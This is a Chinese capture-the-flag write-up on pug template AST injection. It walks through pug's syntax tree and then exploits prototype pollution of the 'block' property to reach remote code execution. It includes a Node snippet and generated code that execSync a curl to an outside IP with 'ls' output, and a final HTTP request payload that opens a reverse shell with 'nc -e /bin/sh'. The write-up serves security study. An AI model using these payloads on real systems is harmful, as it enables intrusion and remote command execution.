前置知识

抽象语法树

抽象语法树,类比来说,就是把你写的代码变成一棵树,每个节点都是代码的一部分,这样可以方便地对代码进行分析和操作。可以想象一下,你写的代码就像一本书,每个单词、标点符号、空格都有自己的含义和作用。但是如果你想要修改或者优化这本书,你可能需要花很多时间去找到你想要改变的地方,而且还要注意不要影响其他地方的内容。这时候,如果你能把这本书变成一棵树,每个节点都代表一个单词、标点符号、空格等等,那么你就可以很容易地找到你想要修改的节点,而且还可以用一些工具来帮助你完成修改。这就是抽象语法树AST的作用。

以本题中的pug.compile('span Hello #{user}, thank you for letting us know!')为例,它的语法树如下:

AST生成网站(选择pug引擎)

最外层

1
2
3
4
5
6
7
8
9
10
{
"type": "Block",
"nodes": [
...
...
...
...
],
"line": 0
}

首先,这个语法树的类型是Block,表示这是一个代码块,它可以包含多个节点。

它有一个属性nodes,它是一个数组,存储了这个代码块中的所有节点。它还有一个属性line,表示这个代码块在源代码中的行号,这里是0,表示这是整个源代码的开始。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
"nodes": [
{
"type": "Tag",
"name": "span",
"selfClosing": false,
"block": {
...
...
...
},
"attrs": [],
"attributeBlocks": [],
"isInline": true,
"line": 1,
"column": 1
}
],

nodes数组中的第一个元素,它是一个类型为Tag的节点,表示这是一个HTML标签。它有以下属性:

  • name:表示标签的名称,这里是span
  • selfClosing:表示标签是否是自闭合的,即是否以/>结尾,这里是false,表示不是。
  • block:表示标签内部的内容,它也是一个类型为Block的节点,我们稍后再看。
  • attrs:表示标签的属性,比如classid等等,这里是一个空数组,表示没有属性。
  • attributeBlocks:表示标签的属性块,比如:class="{active: isActive}"等等,这里也是一个空数组,表示没有属性块(属性块是PUG语言的一个特征)。
  • isInline:表示标签是否是内联的,即是否可以和其他标签在同一行显示。
  • line:表示标签在源代码中的行号。
  • column:表示标签在源代码中的列号。

中间层

1
2
3
4
5
6
7
8
9
"block": {
"type": "Block",
"nodes": [
...
...
...
],
"line": 1
},
  • nodes:表示代码块中的所有节点,它是一个数组,存储了三个元素。
  • line:表示代码块在源代码中的行号,这里是1。

最内层

接着,我们看看代码块中的三个元素。

第一个元素是一个类型为Text的节点,表示这是一段文本。

1
2
3
4
5
6
{
"type": "Text",
"val": "Hello ",
"line": 1,
"column": 6
},

它有以下属性:

  • val:表示文本的值。
  • line:表示文本在源代码中的行号
  • column:表示文本在源代码中的列号

第二个元素是一个类型为Code的节点,表示这是一段JavaScript代码。

1
2
3
4
5
6
7
8
9
{
"type": "Code",
"val": "user",
"buffer": true,
"mustEscape": true,
"isInline": true,
"line": 1,
"column": 12
},

它有以下属性:

  • val:表示代码的内容是什么,这里是”user”。
  • buffer: 表示代码是否需要输出到缓冲区中,即是否需要显示在页面上。如果为true,则需要用= 开头;如果为false,则需要用 - 开头。这里是true。
  • mustEscape: 表示代码是否需要转义特殊字符。如果为true,则需要用= 开头;如果为false,则需要用 != 开头。这里是true。
  • isInline: 表示代码是否是内联的。如果为true,则可以和其他文本或标签在同一行显示;如果为false,则需要单独占一行。这里是true。
  • line: 表示代码在源代码中的行号。
  • column: 表示代码在源代码中的列号。

第三个元素与第一个元素同为文本类型

AST注入

所谓渲染就是将一种代码通过词法分析和语法分析后,生成另一种类代码的过程

在这个过程中,免不了变量拼接函数执行等操作,如果我们能够控制其中某些有用的变量,那么就可能产生一些背离了正常编译逻辑的操作,造成危害,这就是我理解的AST Injection

题目分析

这里需要输入的内容包含其中一个歌曲名才会触发pug的渲染

1
2
3
4
if (song.name.includes('Not Polluting with the boys') || song.name.includes('ASTa la vista baby') || song.name.includes('The Galactic Rhymes') || song.name.includes('The Goose went wild')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
});

下断点,跟进complie方法,

其中,complieBody方法是用来编译一个pug模板字符串为一个HTML字符串的函数

跟进complieBody方法,执行到这一行

这里的js变量就是pug最后用于生成HTML页面的JavaScript代码,所以我们只要能修改这段js代码,就能进行XSS或者RCE(非沙盒环境下)

跟进generateCode方法,然后继续跟进到compile方法

visit方法是用于遍历抽象语法树,并为每个节点生成相应的JavaScript代码的方法,该方法会根据节点的类型调用更具体的方法,如visitTag、visitCode、visitText等。

跟进visit方法,

这里就是最终利用的地方了,通过node的filename或者line属性可以控制最终生成的js代码,但是stringify方法里最终返回的是JSON,所以无法利用,而line如果为空并且我们能够对其进行原型链污染的话,那么就可以自定义执行的js代码

那么如何使line为空呢,在现有的语法树中,似乎每一个节点都会自带line属性

但是当visit遍历到到Code节点时,即调用栈如下情况:

visitCode方法中有如下代码:

可以看出,pug引擎会对code类型节点是否还嵌套着Block节点做一个判断,但是在现存的语法树中,code节点是没有嵌套的,我们可以利用题目环境中的const { song } = unflatten(req.body);来污染这个block属性,这里假设污染为一个Text类型的node节点,污染后,就会进入到visitText方法里去,

查看visitText方法,

跟进buffer方法,

可以看到这里会把str,也就是val存入到buf数组中,而buf就是最终用来生成js渲染代码的,这里可以通过污染来控制生成的html代码,可以用来XSS。

而与此同时,我们可以污染line属性,来进行RCE

比如测试以下代码:

1
2
3
4
5
const pug = require('pug');

Object.prototype.block = {"type":"Text","val":`i am lanb0`,"line":"process.mainModule.require(\"child_process\").execSync(\"curl 192.168.37.164:8000\")"};

pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })

pug最终会通过Function内置函数来执行以下由complieBody生成的js代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
(function anonymous(pug
) {
function template(locals) {var pug_html = "", pug_mixins = {}, pug_interp;var pug_debug_filename, pug_debug_line;try {;
var locals_for_with = (locals || {});

(function (process, user) {
;pug_debug_line = 1;
pug_html = pug_html + "\u003Cspan\u003E";
;pug_debug_line = 1;
pug_html = pug_html + "Hello ";
;pug_debug_line = 1;
pug_html = pug_html + (pug.escape(null == (pug_interp = user) ? "" : pug_interp));
;pug_debug_line = process.mainModule.require("child_process").execSync("curl 192.168.37.164:8000/?a=`ls`");
//RCE
pug_html = pug_html + "i am lanb0";
;pug_debug_line = 1;
pug_html = pug_html + ", thank you for letting us know!\u003C\u002Fspan\u003E";
}.call(this, "process" in locals_for_with ?
locals_for_with.process :
typeof process !== 'undefined' ? process : undefined, "user" in locals_for_with ?
locals_for_with.user :
typeof user !== 'undefined' ? user : undefined));
;} catch (err) {pug.rethrow(err, pug_debug_filename, pug_debug_line);};return pug_html;}
return template;
})

最终Payload

靶机上没有bash,无创建文件权限,有nc,可以用 -e 来弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api/submit HTTP/1.1
Host: 192.168.40.131:1337
Content-Length: 200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://192.168.40.131:1337
Referer: http://192.168.40.131:1337/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"song.name":"The Goose went wild",
"song.__proto__.block": {"type":"Text","val":"i am lanb0","line":"process.mainModule.require(\"child_process\").execSync(\"nc ip:port -e /bin/sh\")"}
}

参考文章:

一文带你理解AST Injection